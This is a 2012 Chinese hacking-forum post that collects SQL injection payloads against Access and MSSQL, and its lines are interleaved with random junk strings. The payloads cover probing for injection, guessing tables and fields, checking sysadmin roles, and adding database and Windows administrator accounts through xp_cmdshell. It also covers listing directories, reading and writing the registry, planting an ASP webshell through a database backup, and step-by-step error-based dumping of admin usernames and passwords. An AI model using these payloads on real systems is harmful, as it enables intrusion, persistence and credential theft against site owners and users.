找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1921|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
/ F- D8 ]+ |# k" Q;and 1=1
; z5 `0 i( K" w$ O2 N; |$ j/ l;and 1=2 & W! S" ^" M* ?0 ]% {. P7 x

2 n) Y3 [5 {) K! G+ |& j2.初步判断是否是mssql + h$ m" U) @0 h5 @& d2 Y
;and user>0
, K# W5 C- ?* w, @5 z
1 c$ b7 ]) F+ X3.判断数据库系统
1 N; i: S( {( `- B;and (select count(*) from sysobjects)>0 mssql * {+ h  }: c( F$ v# t
;and (select count(*) from msysobjects)>0 access # ]0 h# t9 A+ @4 C0 R3 }
% E8 V/ j3 O8 C. L( Z; H
4.注入参数是字符
$ K8 f7 a# e+ B/ B% r( H9 h! {'and [查询条件] and ''=' + H/ G4 Z. G2 c9 f

8 n  c- I3 X4 ^5 _2 J5.搜索时没过滤参数的 . `" R' w; ]! ~. v' _
'and [查询条件] and '%25'=' 2 L& y: _, E' X# C0 w
  g" q# n1 x+ p
6.猜数表名 1 ?5 x! K* S0 W8 Y
;and (select Count(*) from [表名])>0 $ \5 v* n' @) I4 L' V

; R. t0 f( j. z8 V. m* `7.猜字段 ! q$ J4 J8 ~) ^/ O- P  N
;and (select Count(字段名) from 表名)>0 ' g  v$ W- L6 U( ~
$ u% G2 b5 m1 A; J
8.猜字段中记录长度 . d: f. @, G8 c1 L  [& k
;and (select top 1 len(字段名) from 表名)>0
0 z; U- t. e' i8 Y
& L5 O6 y, ~# t- Z- Q9.(1)猜字段的ascii值(access) ' B! w; A" [5 T( W$ \- M7 d
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 $ `" H- P8 Q$ f. d. R

" O! K4 y& n, c# j6 A2 N(2)猜字段的ascii值(mssql) 4 p# d3 d: O( {& m, B
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
+ N- [- v' g' I4 w
7 t) R3 d) T8 W( R0 @4 V10.测试权限结构(mssql) ) r: C7 m$ o7 I3 R3 {; S
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 5 g. n! a% L$ t+ m
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
, J; z3 q" d# \' V! a& j8 P" t; J;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
: o! W5 F2 y1 h6 ^;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
0 z: p  L, d' F9 `;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- + U3 v4 X% T/ h3 g
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ; X7 Q1 q* U# H/ Y) L
;and 1=(select IS_MEMBER('db_owner'));--
, o* W% d( z3 t* V' k4 M6 I! W) I0 p
11.添加mssql和系统的帐户
1 ]# B! c( h* O% i;exec master.dbo.sp_addlogin username;-- 6 d8 a- J: B4 l1 ?8 D( E% q
;exec master.dbo.sp_password null,username,password;--
- A9 j. y7 F# i" Q1 b;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 7 x9 \- B  K7 I
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 1 A* Y% f1 M4 p  D9 h! E7 o
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 0 |3 L% y' i5 S" O5 m( `
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
# \" p+ S3 G' A, Y% E5 H- L5 e/ K4 ]( j; t/ q( U" @
12.(1)遍历目录 4 H3 Y. p6 G+ I$ l; Z  M+ n4 L2 Y
;create table dirs(paths varchar(100), id int)
' R2 @9 T, q' s. v9 s;insert dirs exec master.dbo.xp_dirtree 'c:\' + Q+ O1 W: |# X/ T
;and (select top 1 paths from dirs)>0 7 ^( Q% t1 z8 `# P
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
3 N5 b; T7 L+ q5 A2 T( O/ S4 P/ z& W; T' z
3 S. }3 p7 G$ I0 V/ J(2)遍历目录 , F* R5 j$ X( Y# i% N' V# n
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
" X9 H3 C# q! R! ?. U;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
6 Z* A( r# i0 u: U' X! c: g;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
* j, S3 r; w$ s' N;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 ! c; X. P" t7 S5 b4 x
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 : Z+ E0 H. f5 Y( Z3 C

3 V* q% Y& h! `+ q1 r13.mssql中的存储过程
9 Z6 U2 S! @' ]xp_regenumvalues 注册表根键, 子键
8 S( M( F: H- O$ k) K2 a- _;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
$ O" p+ t, O" s, `$ Rxp_regread 根键,子键,键值名 ( _4 Y8 U4 q( n# t7 [$ e/ W# @
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
/ F: }  g: Q0 \7 ]( F; R# yxp_regwrite 根键,子键, 值名, 值类型, 值
! k# ~% Q* m& ?1 \( J3 H* M值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型   Y$ @$ i( Z9 v, e! C
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
$ |: H. u2 s1 j$ X6 cxp_regdeletevalue 根键,子键,值名
7 D& q# g' y1 N  J6 n# ?1 Kexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 2 Z! W  Q" h& \0 L+ M0 Z7 `
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 5 g6 J. K% C  ~2 \" U- _
, O1 @  D# d/ U2 ]3 G
14.mssql的backup创建webshell 7 v) L9 c5 _9 `+ |2 n! ^
use model # l. q; H' Y6 @5 n
create table cmd(str image);
! q0 ~. U) L; [, Iinsert into cmd(str) values ('<% Dim oScript %>'); ! M8 h0 p% x( b3 F9 c  f6 n
backup database model to disk='c:\l.asp';
8 h) k1 g) d8 g3 p
/ J1 W. R6 c( y+ Q) g- R15.mssql内置函数 - ]9 I* f8 T7 n7 z7 `% S
;and (select @@version)>0 获得Windows的版本号
+ `" m, D$ O, `5 _;and user_name()='dbo' 判断当前系统的连接用户是不是sa # x6 }6 W/ Q* o6 S! T' X" I2 ?4 A
;and (select user_name())>0 爆当前系统的连接用户
' x0 U. N8 }' Y3 q  A;and (select db_name())>0 得到当前连接的数据库 ( y4 ~, Q2 c5 F: t$ n" g
9 D& n$ [3 x+ s5 l, O- }! }/ d1 w

5 m. |# P% ~. O. ~( D9 _3 t1 I5 w
1 Z; t% V' k, j- _- nMSSQL手注暴库! y8 V8 y6 }3 ~6 n

& B' _6 ]2 n* R+ h; n1.暴出当前表名和列名( R6 J" |- p7 ~& Y/ s/ a
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
( t: k& g3 e! m# c2 C
- j9 K- M& g" I. |+ L/ o8 _: Q* `8 S第一.爆出所有数据库名
' L  ~! Z# X+ f+ U- G利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
, G* m  ]% n0 p* m$ u! F7 h第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
2 \. v0 N. {! i# {$ }% M2 c! q  f% E( }* Y
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
, P7 f# ?; h7 ?0 X, S& T4 `5 C" a5 V" P2 C) m$ D

7 G2 f; u" n/ D' |" t第二.爆出指定库中的所有表名
# U9 i* Z: A3 \2 V1 g; q- d% m得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。0 N) q. P9 f% ^( n/ f, K
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
5 z" o: O; [) b8 I# z
* D+ [: o" B; W" t! sand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--7 A! p& B, I- T: J6 j* y  Q
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--$ O# e3 Q& G7 b! j) c# w
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
& ?/ ]) E+ G0 u: ]' {" a; z; c' Q# e% e1 y% _
4.爆出指定表中的所有列名
( b9 F+ n5 b3 p9 S- K/ rand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
; ]  ]3 ?, V5 W1 P2 e. r0 X$ i* o) ]//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'' v/ V  b/ n! X4 L! G

/ W; Y4 S7 d$ ]! h0 b6 ?and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名$ \5 Q' s+ L# _3 Z; H2 F
% Z' X" n3 ^, f/ V6 H
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- : r/ h% R0 N) f+ H7 P4 p
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
' r2 @2 s; L) U2 |& d/ [" G- \3 i2 y3 R) R! Y, G
) F3 F6 B! U$ R( f: C4 _
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值6 {3 J# M' ~, u2 Y0 R$ g; Z$ [

2 J0 z/ b5 Q. c+ Fand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名! W% I. t$ v6 L0 M: }
6 |. S/ i- C0 p1 m, D" ]
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
- \* }3 P0 f! }$ k/ q  n+ O
6 w/ J+ `9 h+ v0 y4 E! j
2 \! H3 U0 B. m# X& N8 {  d# o* W2 f0 {. I" G
5.读取指定表中的数据
3 \+ Q1 c* q5 f2 E% @/ I. @/ G
: @: _0 E. ^) `and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
* V4 p6 u0 F/ a/ ]0 F
% M6 Z' }  V7 j- Z) m* \9 S$ Y7 ~, Aand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--( y% c( C, ]% @% J/ q7 x  r
7 u/ j7 {! @( \& [
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码2 U0 J7 q3 }8 B- n: f

& M/ J5 _( |- c' ~$ v
7 d0 C% q. K2 h) _1 K- band 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
4 x3 T' l  P# \# j( s4 P( V+ R; |, ?) B: C3 ?9 T
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
! {  `+ I7 z; x% M/ ^2 b1 g
& {8 X# E: |& C, o. i" a) h( ^% @and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
4 f& ~/ i2 i, z
5 J! }! D! S4 J) U  d0 }知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
6 [. L  p3 t" @8 ^, C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表